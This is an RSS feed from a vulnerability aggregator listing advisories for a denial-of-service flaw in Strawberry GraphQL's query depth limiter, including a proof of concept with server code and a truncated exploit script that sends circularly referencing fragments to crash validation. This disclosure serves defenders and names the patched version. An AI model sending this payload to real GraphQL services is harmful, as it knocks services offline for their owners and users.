<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" version="2.0">
  <channel>
    <title>Most recent entries from all</title>
    <link>https://cve.radiocsirt.org</link>
    <description>Contains only the most 10 recent entries.</description>
    <docs>http://www.rssboard.org/rss-specification</docs>
    <generator>python-feedgen</generator>
    <language>en</language>
    <lastBuildDate>Tue, 06 Oct 2026 21:56:46 +0000</lastBuildDate>
    <item>
      <title>EUVD-2026-324650</title>
      <link>https://cve.radiocsirt.org/vuln/euvd-2026-324650</link>
      <description>EUVD-2026-324650</description>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/euvd-2026-324650</guid>
    </item>
    <item>
      <title>fkie_cve-2026-47706</title>
      <link>https://cve.radiocsirt.org/vuln/fkie_cve-2026-47706</link>
      <description>&lt;p&gt;Strawberry GraphQL is a library for creating GraphQL APIs. In versions 0.71.0 through 0.315.6, the QueryDepthLimiter extension is vulnerable to an Application-level DOS due to a lack of cycle detection in fragment spreads. When a query contains circular fragment references the determine_depth function enters an infinite recursion, leading to a RecursionError and crashing the validation process. Version 0.315.7 patches the issue.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;Strawberry GraphQL is a library for creating GraphQL APIs. In versions 0.71.0 through 0.315.6, the QueryDepthLimiter extension is vulnerable to an Application-level DOS due to a lack of cycle detection in fragment spreads. When a query contains circular fragment references the determine_depth function enters an infinite recursion, leading to a RecursionError and crashing the validation process. Version 0.315.7 patches the issue.&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/fkie_cve-2026-47706</guid>
    </item>
    <item>
      <title>GHSA-qfwv-87qj-98xq — Strawberry GraphQL has a Circular Fragment Reference DOS</title>
      <link>https://cve.radiocsirt.org/vuln/ghsa-qfwv-87qj-98xq</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; PyPI: strawberry-graphql&lt;/p&gt;
&lt;p&gt;### Summary
The QueryDepthLimiter extension is vulnerable to an Application-level DOS due to a lack of cycle detection in fragment spreads. When a query contains circular fragment references the determine_depth function enters an infinite recursion, leading to a RecursionError and crashing the validation process.&lt;/p&gt;
&lt;p&gt;### Details
The determine_depth function in query_depth_limiter.py recursively resolves FragmentSpreadNode without maintaining a set of visited fragments.
By submitting a query with circular fragment references (e.g., Fragment A $\rightarrow$ Fragment B $\rightarrow$ Fragment A), the validator enters an infinite recursion.&lt;/p&gt;
&lt;p&gt;### PoC
**server code**
```
import strawberry
from fastapi import FastAPI
from strawberry.fastapi import GraphQLRouter
from strawberry.extensions import QueryDepthLimiter&lt;/p&gt;
&lt;p&gt;@strawberry.type
class User:
    name: str = &amp;#34;GONA&amp;#34;&lt;/p&gt;
&lt;p&gt;@strawberry.type
class Query:
    @strawberry.field
    def user(self) -&amp;gt; User:
        return User()&lt;/p&gt;
&lt;p&gt;# Enable depth limiting
schema = strawberry.Schema(
    query=Query, 
    extensions=[QueryDepthLimiter(max_depth=10)]
)&lt;/p&gt;
&lt;p&gt;app = FastAPI()
app.include_router(GraphQLRouter(schema), prefix=&amp;#34;/graphql&amp;#34;)
```&lt;/p&gt;
&lt;p&gt;**exploit**
```
import httpx&lt;/p&gt;
&lt;p&gt;# Circular reference: A -&amp;gt; B -&amp;gt; A -&amp;gt; B ...
payload = {
    &amp;#34;query&amp;#34;: &amp;#34;&amp;#34;&amp;#34;
        fragment A on User {
            ...B
        }
        fragment B on User {
            ...A
        }
        query Crash {
            user {
                ...A
            }
        }
    &amp;#34;&amp;#34;&amp;#34;
}&lt;/p&gt;
&lt;p&gt;try:
    respo…&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; PyPI: strawberry-graphql&lt;/p&gt;
&lt;p&gt;### Summary
The QueryDepthLimiter extension is vulnerable to an Application-level DOS due to a lack of cycle detection in fragment spreads. When a query contains circular fragment references the determine_depth function enters an infinite recursion, leading to a RecursionError and crashing the validation process.&lt;/p&gt;
&lt;p&gt;### Details
The determine_depth function in query_depth_limiter.py recursively resolves FragmentSpreadNode without maintaining a set of visited fragments.
By submitting a query with circular fragment references (e.g., Fragment A $\rightarrow$ Fragment B $\rightarrow$ Fragment A), the validator enters an infinite recursion.&lt;/p&gt;
&lt;p&gt;### PoC
**server code**
```
import strawberry
from fastapi import FastAPI
from strawberry.fastapi import GraphQLRouter
from strawberry.extensions import QueryDepthLimiter&lt;/p&gt;
&lt;p&gt;@strawberry.type
class User:
    name: str = &amp;#34;GONA&amp;#34;&lt;/p&gt;
&lt;p&gt;@strawberry.type
class Query:
    @strawberry.field
    def user(self) -&amp;gt; User:
        return User()&lt;/p&gt;
&lt;p&gt;# Enable depth limiting
schema = strawberry.Schema(
    query=Query, 
    extensions=[QueryDepthLimiter(max_depth=10)]
)&lt;/p&gt;
&lt;p&gt;app = FastAPI()
app.include_router(GraphQLRouter(schema), prefix=&amp;#34;/graphql&amp;#34;)
```&lt;/p&gt;
&lt;p&gt;**exploit**
```
import httpx&lt;/p&gt;
&lt;p&gt;# Circular reference: A -&amp;gt; B -&amp;gt; A -&amp;gt; B ...
payload = {
    &amp;#34;query&amp;#34;: &amp;#34;&amp;#34;&amp;#34;
        fragment A on User {
            ...B
        }
        fragment B on User {
            ...A
        }
        query Crash {
            user {
                ...A
            }
        }
    &amp;#34;&amp;#34;&amp;#34;
}&lt;/p&gt;
&lt;p&gt;try:
    respo…&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/ghsa-qfwv-87qj-98xq</guid>
    </item>
    <item>
      <title>PYSEC-2026-2283</title>
      <link>https://cve.radiocsirt.org/vuln/pysec-2026-2283</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; PyPI: strawberry-graphql&lt;/p&gt;
&lt;p&gt;Strawberry GraphQL is a library for creating GraphQL APIs. In versions 0.71.0 through 0.315.6, the QueryDepthLimiter extension is vulnerable to an Application-level DOS due to a lack of cycle detection in fragment spreads. When a query contains circular fragment references the determine_depth function enters an infinite recursion, leading to a RecursionError and crashing the validation process. Version 0.315.7 patches the issue.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; PyPI: strawberry-graphql&lt;/p&gt;
&lt;p&gt;Strawberry GraphQL is a library for creating GraphQL APIs. In versions 0.71.0 through 0.315.6, the QueryDepthLimiter extension is vulnerable to an Application-level DOS due to a lack of cycle detection in fragment spreads. When a query contains circular fragment references the determine_depth function enters an infinite recursion, leading to a RecursionError and crashing the validation process. Version 0.315.7 patches the issue.&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/pysec-2026-2283</guid>
    </item>
  </channel>
</rss>
